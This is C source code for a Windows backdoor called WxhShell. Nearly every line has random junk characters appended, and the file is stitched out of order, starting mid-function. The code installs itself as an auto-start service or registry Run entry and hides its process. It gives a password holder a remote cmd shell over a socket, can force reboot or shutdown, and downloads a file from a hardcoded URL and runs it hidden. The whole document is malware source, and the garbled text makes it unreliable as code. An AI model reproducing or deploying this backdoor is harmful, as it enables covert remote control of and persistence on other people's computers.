    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }[0nTd  
    if(Boot(SHUTDOWN)) qqDg2,Yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z\ hcK:  
    else { =v2 |QuS$  
    closesocket(wsh); {f06Ki  
    ExitThread(0); Gxr\a2Z&r%  
    } I0XJ& P%  
    break; k 9i W1  
    } :EX>Y<`]  
  // 获取shell fWHvVyQ.  
  case 's': { 17hoX4T  
    CmdShell(wsh); ZTmy}@l  
    closesocket(wsh); NcA `E_3  
    ExitThread(0); ljFq;!I5  
    break; d/_D|ivZ=  
  } ki1(b]rf  
  // 退出 }*fBHzNN  
  case 'x': { '9\cIni0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v9(5H Y  
    CloseIt(wsh); RZ6y5  
    break; rr# nBhh8  
    } 9r%fBiSk  
  // 离开 t]K20(FSN  
  case 'q': { oR#W@OK@is  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <rC%$tr  
    closesocket(wsh); o.KnDY  
    WSACleanup(); ]4aPn  
    exit(1); s`yzeo  
    break; % /:1eE`!S  
        } -K|1w'E  
  } ly[yn{  
  } r]9-~1T  
WNR]GI  
  // 提示信息 vF\>;pcT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O_QDjxj^rZ  
} >u=  
  } "FHJ_$!  
M9)4ihK  
  return; /@:X0}L  
} v[L+PD U  
0C zQel)L:  
// shell模块句柄 TdFU,  
int CmdShell(SOCKET sock) S:1[CNL;  
{ }rQQe:{]B  
STARTUPINFO si; -YNpHd/;,  
ZeroMemory(&si,sizeof(si)); FjCGD4x1N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yD"]:ts3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^4=#, K  
PROCESS_INFORMATION ProcessInfo; rK gl:s j+  
char cmdline[]="cmd"; [O3:?BNY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9NTNulD>P  
  return 0; WI\a  
} M?l v  
y._'o7%  
// 自身启动模式 dD,}i$  
int StartFromService(void) bi8_5I[  
{ qU26i"GHp  
typedef struct v_KO xV:<`  
{ _[rFnyC+0V  
  DWORD ExitStatus; { ^o.f  
  DWORD PebBaseAddress; f*%kHfaXgN  
  DWORD AffinityMask; Fz#@[1,  
  DWORD BasePriority; >zJHvb)b\  
  ULONG UniqueProcessId; OIK x:&uIk  
  ULONG InheritedFromUniqueProcessId; T"xJY#)}  
}   PROCESS_BASIC_INFORMATION; /r4l7K  
N7?]eD  
PROCNTQSIP NtQueryInformationProcess; p]L]=-(qI  
[!uzXVS3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |r~u7U\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V$ZclV2:Ih  
N.*)-O  
  HANDLE             hProcess; Kq[4I[+R  
  PROCESS_BASIC_INFORMATION pbi; I>?oVY6M@u  
|]-Zz7N)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q>_<\|?%x  
  if(NULL == hInst ) return 0; mZ71_4X#  
*RkUF!)(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k`5I"-e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s)Y1%#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { Zgd  
[IAUJ09>I  
  if (!NtQueryInformationProcess) return 0; `cp\UH@  
+b 6R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _?-oPb  
  if(!hProcess) return 0; (MLcA\LJ  
6Vnq|;W3Zv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ar0{MPYd  
v,i|:;G  
  CloseHandle(hProcess); 4jXo5SkEJ  
& /8Tth86  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 40?RiwwD  
if(hProcess==NULL) return 0; qyM/p.mP  
J>(X0@eWz  
HMODULE hMod; TuQGF$n@  
char procName[255]; xM%4/QE+  
unsigned long cbNeeded; tp`1S+'~j  
??F* Z" x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZiUb+;JA  
R;DU68R  
  CloseHandle(hProcess); vRe{B7}p;  
F! =l r  
if(strstr(procName,"services")) return 1; // 以服务启动 +W4}&S  
k6CXuU  
  return 0; // 注册表启动 ;VE y{%nF  
} m* m),mZ"  
JP8}+  
// 主模块 Et3I(X3  
int StartWxhshell(LPSTR lpCmdLine) d?7?tL2  
{ t5{P'v9J  
  SOCKET wsl; @v2<T1UC  
BOOL val=TRUE; EHUx~Q   
  int port=0; { b$"SIg1E  
  struct sockaddr_in door; vH+g*A0S<  
TAXsL&Tz>  
  if(wscfg.ws_autoins) Install(); m,)s8_a  
[v~,|N>w  
port=atoi(lpCmdLine); coAXYn  
Y(Oh7VwY*P  
if(port<=0) port=wscfg.ws_port; lp}S'^ y  
#,tT`{u1q  
  WSADATA data; N,TV?Q5l7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R!dC20IMvH  
ZA="Dac  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8e?/LA%MU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9rEBq&  
  door.sin_family = AF_INET; 6U{A6hH]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T#B#q1/  
  door.sin_port = htons(port); C@XS  
}xsO^K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vIpL8B86a  
closesocket(wsl); 6 \8d6x>  
return 1; (fpz",[  
} HAn{^8"@  
-+"#G?g  
  if(listen(wsl,2) == INVALID_SOCKET) { poBeEpbs  
closesocket(wsl); 6nTM~]5.  
return 1; WJq>%<#  
} t^'nh 1=  
  Wxhshell(wsl); [Vs\r&qL  
  WSACleanup(); [oh06_rB  
Ic(qA{SM  
return 0;  Qxz[  
%O`@}Tg  
} -+E.I*st  
n%3!)/$  
// 以NT服务方式启动 V&f*+!!2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C&z!="hMhR  
{ "L2*RX.R  
DWORD   status = 0; g@#he95 }  
  DWORD   specificError = 0xfffffff; +RJ{)Nec  
0%bCP/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?("O.<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^$Y9.IH"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [-\Y?3  
  serviceStatus.dwWin32ExitCode     = 0; ]r;rAOWVV  
  serviceStatus.dwServiceSpecificExitCode = 0; wlNL;W@w  
  serviceStatus.dwCheckPoint       = 0; dWn6-es  
  serviceStatus.dwWaitHint       = 0; B''yW{  
TO Hz3=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %DSr@IX  
  if (hServiceStatusHandle==0) return; k>ErD v8  
b/_Zw^DPC  
status = GetLastError(); ExG(*[l  
  if (status!=NO_ERROR) |:S6Gp[\O  
{ 2}&ERW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6La[( )  
    serviceStatus.dwCheckPoint       = 0; GDLi ?3q  
    serviceStatus.dwWaitHint       = 0; ^(JrOh'  
    serviceStatus.dwWin32ExitCode     = status; `%Fp'`ZM$8  
    serviceStatus.dwServiceSpecificExitCode = specificError; {($bz T7c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (m3hD)!+y  
    return; ]+:yfDtZd  
  } 5[;[Te9=S  
e_b,{l#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ii+3yE@c  
  serviceStatus.dwCheckPoint       = 0; $U[d#:]  
  serviceStatus.dwWaitHint       = 0; 1>e30Ri,g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y11^q*}  
} 1]If< <  
oEX,\@+u  
// 处理NT服务事件,比如:启动、停止 i~Tt\UA>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c=u+X` Q  
{ 4 $R!)  
switch(fdwControl) [#GBn0BG)  
{ |*?N#0s5h  
case SERVICE_CONTROL_STOP: W5u5!L/  
  serviceStatus.dwWin32ExitCode = 0; nWsRa uY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jgE{JK\n4  
  serviceStatus.dwCheckPoint   = 0; [R4# bl  
  serviceStatus.dwWaitHint     = 0; 9(]_so24,  
  { cB,^?djJ3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *fm?"0M5  
  } Fbo"Csn_  
  return; \hX,z =  
case SERVICE_CONTROL_PAUSE: 7 (2}Vs!5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tu(:?  
  break; |V5BL<4  
case SERVICE_CONTROL_CONTINUE: tz]0F5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o'lG9ePM|  
  break; `p\%ha!,w  
case SERVICE_CONTROL_INTERROGATE: /D"T\KNWr  
  break; im*sSz 0 (  
}; 7=fM}sk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "\*)KH`C  
} a>GA=r  
3.YH7rN  
// 标准应用程序主函数 | +;ZC y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DG;u_6;JR  
{ :kHk'.V1(  
lH3.q4D 5  
// 获取操作系统版本 -=lm`X<:  
OsIsNt=GetOsVer(); /6rjGc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XI`_PQco  
mywx V  
  // 从命令行安装 k$v 7@|Aw  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qb@j8Xa4[  
2- L-=0  
  // 下载执行文件 #:" ]-u^  
if(wscfg.ws_downexe) { u8 k^\Do  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;d<XcpK}  
  WinExec(wscfg.ws_filenam,SW_HIDE); b#I,Z+0ry  
} 6Y[&1c8  
s>;"bzzq  
if(!OsIsNt) { DSs/D1mj&  
// 如果时win9x,隐藏进程并且设置为注册表启动 <vl(a*4a  
HideProc(); )[hs#nKTh  
StartWxhshell(lpCmdLine); !&OdbRHM  
} ^RnQX#+  
else Y<;C>Rs  
  if(StartFromService()) >> cW0I/`  
  // 以服务方式启动 ?4SYroXUX|  
  StartServiceCtrlDispatcher(DispatchTable); HV!P]82Pa  
else Jha*BaD~N  
  // 普通方式启动 U+VJiz<!  
  StartWxhshell(lpCmdLine); <@`K^g;W  
~6#mVP5sU)  
return 0; s;h`n$  
} f@Mku0VT  
PE7V1U#$o,  
'0 Ys`Qo  
+]t9kr  
=========================================== >kAJS??  
1%M^MT%&  
leHKBu'd  
IO #)r[JZ  
~oOv/1v},  
2h5T$[fV  
" (a!E3y5,  
e~QLzZ3  
#include <stdio.h> j 1'H|4  
#include <string.h> NHZMH!=4:n  
#include <windows.h> crd|r."  
#include <winsock2.h> yYOV:3!"  
#include <winsvc.h> rREev  
#include <urlmon.h> ~(m6dPm$}m  
XXwIp-'  
#pragma comment (lib, "Ws2_32.lib") sUF5Y q:9  
#pragma comment (lib, "urlmon.lib") VII`qbxT  
P9\y~W  
#define MAX_USER   100 // 最大客户端连接数  qjfv9sU  
#define BUF_SOCK   200 // sock buffer ^ &KH|qRrO  
#define KEY_BUFF   255 // 输入 buffer y3*IF2G  
N cHCcc  
#define REBOOT     0   // 重启 J'cE@(US  
#define SHUTDOWN   1   // 关机 .WOF:Nu4  
IwFf8? 3  
#define DEF_PORT   5000 // 监听端口 M-Nn \h$,  
>VjtKSN  
#define REG_LEN     16   // 注册表键长度 f].z.  
#define SVC_LEN     80   // NT服务名长度 dd=5`Bo9Yh  
^R\5'9K!  
// 从dll定义API zh !/24p9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d{!zJ+n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -GgV&%'a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oi3Ix7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j@JY-^~K5  
-eSI"To L<  
// wxhshell配置信息 6O5E4=  
struct WSCFG { p*P0<01Z  
  int ws_port;         // 监听端口 7; }TNK\+v  
  char ws_passstr[REG_LEN]; // 口令 ku^2K   
  int ws_autoins;       // 安装标记, 1=yes 0=no C~iFFh6:  
  char ws_regname[REG_LEN]; // 注册表键名 b(ryk./ogx  
  char ws_svcname[REG_LEN]; // 服务名 etW-gbr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /C<} :R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jP @t!=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rx<[bohio  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $AFiPH9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e ]>{?Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u*;53 43  
*7Sg8\wDn  
}; gp'n'K]  
gvZLW!={  
// default Wxhshell configuration qfY=!|O  
struct WSCFG wscfg={DEF_PORT, /|e"0;{  
    "xuhuanlingzhe", ;LT#/t)}<  
    1, Q~*3Z4)j  
    "Wxhshell", G[yN*C  
    "Wxhshell", Dc> )js|"  
            "WxhShell Service", r52,f%nlm  
    "Wrsky Windows CmdShell Service", uP ?gGo  
    "Please Input Your Password: ", [/t/694  
  1, !as<UH"\  
  "http://www.wrsky.com/wxhshell.exe", sEfGf.  
  "Wxhshell.exe" xcIZ'V  
    }; nuv$B >  
EZiGi[t7  
// 消息定义模块 %@M/)"k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kqAQrg]n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c9E9Rx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T{K+1SPy4  
char *msg_ws_ext="\n\rExit."; aEZn6k1  
char *msg_ws_end="\n\rQuit."; p|%Y\!  
char *msg_ws_boot="\n\rReboot..."; 7e#|=e *I!  
char *msg_ws_poff="\n\rShutdown..."; {_MU0=7c\  
char *msg_ws_down="\n\rSave to "; '*p-`  
J>Rt2K  
char *msg_ws_err="\n\rErr!"; 8CSvg{B  
char *msg_ws_ok="\n\rOK!"; !c`Q?aGV)  
0\}j[-`pF  
char ExeFile[MAX_PATH]; PuABS>.;  
int nUser = 0; ~KfjT p#  
HANDLE handles[MAX_USER]; -+I! (?  
int OsIsNt; <F.Ol/'h  
7#|NQ=yd  
SERVICE_STATUS       serviceStatus; Sdt2D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &FvNz  
lB\j>.c  
// 函数声明 ?y45#Tk]  
int Install(void); LveqG   
int Uninstall(void); +Vf|YLbhJ  
int DownloadFile(char *sURL, SOCKET wsh); S(-=I!.G{  
int Boot(int flag); iii$)4V  
void HideProc(void); M[*:=C)H  
int GetOsVer(void); 't_=%^ q  
int Wxhshell(SOCKET wsl); c!\y\r  
void TalkWithClient(void *cs); $BBfsaJPT  
int CmdShell(SOCKET sock); /s*>V@Q  
int StartFromService(void); \T]"pE+8l  
int StartWxhshell(LPSTR lpCmdLine); UZX)1?U  
>qUO_>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8"* $e I5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%3c1  
:3n.nKANr  
// 数据结构和表定义 a@r K%Iff  
SERVICE_TABLE_ENTRY DispatchTable[] = D3lYy>~d5;  
{ 80]TKf>  
{wscfg.ws_svcname, NTServiceMain}, ];2eIe  
{NULL, NULL} h+^T);h};|  
}; n0i&P9@B1  
FfgJ 2y  
// 自我安装 a!^wc,  
int Install(void) A07 P$3>/W  
{ G =4y!y  
  char svExeFile[MAX_PATH]; B# H  
  HKEY key; IFTW,9hh  
  strcpy(svExeFile,ExeFile); YXg uw7%\  
M2EN(Y_k0  
// 如果是win9x系统,修改注册表设为自启动 ?Ru`ma\;  
if(!OsIsNt) { ^{K8uN7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qL+y8*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Mm{"J3uv  
  RegCloseKey(key); A7RX2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #f~a\}$I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9G8QzIac  
  RegCloseKey(key); EH "g`r  
  return 0; M>J ADt_]  
    } o%QQ7S3 P  
  } HgBg,1  
} 9f6TFdUi"y  
else { J3.Q8f  
*_wef/==  
// 如果是NT以上系统,安装为系统服务 Q%xY/xH]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?(<AT]hV:  
if (schSCManager!=0) pOYtN1uN|  
{ YPy))>Q>cK  
  SC_HANDLE schService = CreateService G([vy#p  
  ( fDqXM;a"  
  schSCManager, =GVhAzD3  
  wscfg.ws_svcname, $B?7u@>,  
  wscfg.ws_svcdisp, D5m\u$~V  
  SERVICE_ALL_ACCESS, RZtL<2.@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lmcDA,7  
  SERVICE_AUTO_START, `k| nf9_  
  SERVICE_ERROR_NORMAL, `s_TY%&_}g  
  svExeFile, QMxz@HGa|  
  NULL, a*[\edcHU  
  NULL, e d*AU,^@v  
  NULL, X[~CLKH(  
  NULL, g[jZ A[[  
  NULL ggTjd"|)  
  ); ncdr/(`  
  if (schService!=0) .am*d|&+G  
  { ~=mM/@HD  
  CloseServiceHandle(schService); feW9 >f;  
  CloseServiceHandle(schSCManager); E\S&} K,s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g\)z!DQ]  
  strcat(svExeFile,wscfg.ws_svcname); ksaC[G;}:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A,e^bM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _MEv*Q@o  
  RegCloseKey(key); %S#"pKE6 R  
  return 0; L>b,}w  
    } "y0 A<-~  
  } 9.=#4OH/  
  CloseServiceHandle(schSCManager); 8W>l(w9M  
} dSZ#,Ea"  
} //@=Q!MW  
m6cW  
return 1; [AzN&yACE  
} fNJ;{&#  
%4Zy1{yKs_  
// 自我卸载 jf/9]`Hf  
int Uninstall(void) 6I#DlAU@v  
{ $IT9@}*{  
  HKEY key; wcf_5T  
ACYn87tq  
if(!OsIsNt) { ;alFK*K6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bVHi3=0{  
  RegDeleteValue(key,wscfg.ws_regname); |pR$' HO  
  RegCloseKey(key); [;AcV73  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }AqD0Qd2Hj  
  RegDeleteValue(key,wscfg.ws_regname); Y7)@(7G)\  
  RegCloseKey(key); 2oG|l!C  
  return 0; " G6j UTt  
  } 8w[EyVHA  
} 9Ol_z\5  
} CM1a<bV<  
else { `=DCX%Vw  
8|NJ(D-$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "%t`I)  
if (schSCManager!=0) r_E)HL/A  
{ U.'@S8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n;`L5  
  if (schService!=0) 5z ^UQ q  
  { 9%14k  
  if(DeleteService(schService)!=0) { ~{G: ,|`  
  CloseServiceHandle(schService); c.Z4f 7  
  CloseServiceHandle(schSCManager); S\;.nAR  
  return 0; )"uG*}\?b  
  } am+mXb  
  CloseServiceHandle(schService); ha! "BR  
  } 9 /(c cj  
  CloseServiceHandle(schSCManager); D#1~]d  
} 1T,PC?vr{  
} by[i"!RCu  
i%4k5[f.:  
return 1; -z$2pXT ^  
} HbfB[%  
a BH1J]_  
// 从指定url下载文件 S{T d/1}  
int DownloadFile(char *sURL, SOCKET wsh) jY+S,lD  
{ ,GU/l)os`  
  HRESULT hr; ]UT|BE4v  
char seps[]= "/"; !o':\hex6  
char *token; !gfhEz Y  
char *file; _C,@eu"9V  
char myURL[MAX_PATH]; f\U&M,L\ '  
char myFILE[MAX_PATH]; @[lc0_ b  
7O{O')o!  
strcpy(myURL,sURL); 89#0vG7m  
  token=strtok(myURL,seps); =e8L7_;  
  while(token!=NULL) n o+tVm|  
  { /JubiLEK  
    file=token; :;;WK~* #  
  token=strtok(NULL,seps); 6oh@$.ThG  
  } m<"fRT!Y  
RLOQ>vYY  
GetCurrentDirectory(MAX_PATH,myFILE); yUmsE-W  
strcat(myFILE, "\\"); ]~S+nl yd<  
strcat(myFILE, file); tlLn  
  send(wsh,myFILE,strlen(myFILE),0); )z235}P  
send(wsh,"...",3,0); {a8^6dm*E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]j2v"n  
  if(hr==S_OK) Pph8"`mv.m  
return 0; i6#]$B  
else T) tZU?  
return 1; ;GFB@I@  
)(Mr f{  
} kefv=n*]l  
I#E(r>KW*  
// 系统电源模块 {hRie+  
int Boot(int flag) ! M&un*  
{ Wo9psv7.  
  HANDLE hToken; Tb1}XvZ  
  TOKEN_PRIVILEGES tkp; 9_WPWFO  
fb.\V]K  
  if(OsIsNt) { ^h6$> n5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Vm;Q w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6$fnQcpJ  
    tkp.PrivilegeCount = 1; + i@yZfT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Sjr6l3Vq8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sC5uA .?>9  
if(flag==REBOOT) { Jp3di&x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &M3ES}6  
  return 0; H]$=*(aje  
}  +iH30v  
else { Jhsv2,8 {  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q X%vRf0  
  return 0; n~)HfY  
} rH&r6Xv[  
  } s'aV qB  
  else { q bZ,K@0  
if(flag==REBOOT) { ?(/j<,m^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mDF"&.(j  
  return 0; u2-@?yt  
} ]r6BLZ[%  
else { me:|!lI7YU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &xBK\  
  return 0; BnaU)E h  
} ,> (bt%b  
} }x?H ~QQT  
V(2j*2R!  
return 1; p37zz4  
} ,]uX:h-EM  
)0U3w#,JQ  
// win9x进程隐藏模块 !<=%;+  
void HideProc(void) EN-H4F  
{ ..q63dr  
UGmuX:@y76  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?VZ11?u  
  if ( hKernel != NULL ) k)5_1y  
  { _iGU|$a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uojh%@.4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ! nCjA\$  
    FreeLibrary(hKernel); 7O+Ij9+{n  
  } v dH+>l  
jKj=#O  
return; sArje(5Eo  
} t8A kdSU0  
b@wBR9s  
// 获取操作系统版本 C,{F0-D  
int GetOsVer(void) xA&  
{ pG!(6V-x<E  
  OSVERSIONINFO winfo; nrTv=*tDj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9P7xoXJ@y  
  GetVersionEx(&winfo); "B9[cDM&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &N"'7bK6n  
  return 1; jB%"AvIX  
  else $AA~]'O>6:  
  return 0; my\o P(e\  
} :T7?  
H ~[LJ5x  
// 客户端句柄模块 `!nJS|  
int Wxhshell(SOCKET wsl) 9U|<q  
{ y8w0eq94  
  SOCKET wsh; msc 1^2  
  struct sockaddr_in client; OB?SkR  
  DWORD myID; kRN|TDx(  
: F7k{~  
  while(nUser<MAX_USER) NV} RRs  
{ =de<WoKnu2  
  int nSize=sizeof(client); +z:CZ(fb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b|sc'eP#?  
  if(wsh==INVALID_SOCKET) return 1; |jahpji6  
!Tn0M;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qnq%mwDeD  
if(handles[nUser]==0) mW~i c  
  closesocket(wsh); u/gm10<OWa  
else =PNdP  
  nUser++; ]{IR&{EI-  
  } Yzj%{fkh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,8c dXt   
=5y`(0 I`U  
  return 0; B*?ZE4`  
} Hva2j<h  
&l. x:eD  
// 关闭 socket 5-8]N>/b!  
void CloseIt(SOCKET wsh) `*e4m  
{  6R;)  
closesocket(wsh); C9<4~IM w  
nUser--; 45x,|h[F{5  
ExitThread(0); N@Xg5huO  
} DeOXM=&z  
1@A7h$1P  
// 客户端请求句柄 -|m$YrzG  
void TalkWithClient(void *cs) #_.g2 Y  
{ %{R _^Y8t  
t|;%DA)fjw  
  SOCKET wsh=(SOCKET)cs; j\2] M  
  char pwd[SVC_LEN]; 44|deE3Z  
  char cmd[KEY_BUFF]; 2?GXkPF2;A  
char chr[1]; bnijM/73  
int i,j; sS, zzx<  
o"|O ]  
  while (nUser < MAX_USER) { .aNO( /kO  
7w "sJ  
if(wscfg.ws_passstr) { f5@.^hi[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;"1/#CY773  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U r^YG4(  
  //ZeroMemory(pwd,KEY_BUFF); C/F@ ]_y  
      i=0; L)q`D2|'  
  while(i<SVC_LEN) { Uh|TDuM  
]{YN{  
  // 设置超时 ! L4dUMo  
  fd_set FdRead; Dba+z-3Nzy  
  struct timeval TimeOut; H}vn$$ O  
  FD_ZERO(&FdRead); VR "u*  
  FD_SET(wsh,&FdRead); hIR@^\?  
  TimeOut.tv_sec=8; qh%i5Mu  
  TimeOut.tv_usec=0; oG!6}5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "?$L'!bM@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A&N$tH  
!q!"UMiG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,# ]+HS^B  
  pwd=chr[0]; $zdd=.!KiK  
  if(chr[0]==0xd || chr[0]==0xa) { T`uDlo  
  pwd=0; X$/E>I  
  break; j*XjY[  
  } >f>V5L%1  
  i++; StEQ -k  
    } !?jK1{E3  
+<&E3Or  
  // 如果是非法用户,关闭 socket nt7|f,_J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;:P7}v fz!  
} >GgE,h  
bn$)f6%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,ohmc\*J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 +}cE**=d  
ri:,q/-  
while(1) { '}_=kp'X  
)&>L !,z  
  ZeroMemory(cmd,KEY_BUFF);  q$F)!&  
(}G!np  
      // 自动支持客户端 telnet标准   Ddb-@YD&+0  
  j=0; ?fV?|ZGZI  
  while(j<KEY_BUFF) { {o( * f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G(3;;F7"  
  cmd[j]=chr[0]; )`^ /(YG  
  if(chr[0]==0xa || chr[0]==0xd) { byafb+x  
  cmd[j]=0; kL|\wci  
  break; rR\;G2p)  
  } Hj2<ZL  
  j++; [O\9 9>  
    } "9w}dQ  
fTcY"A,2  
  // 下载文件 avg4K*vv  
  if(strstr(cmd,"http://")) { ^;+[8:Kb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K!p,x;YX  
  if(DownloadFile(cmd,wsh)) R }1W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . @@an;C  
  else $%Z3;:<Uf-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *#zS^b n  
  } }w#F6  
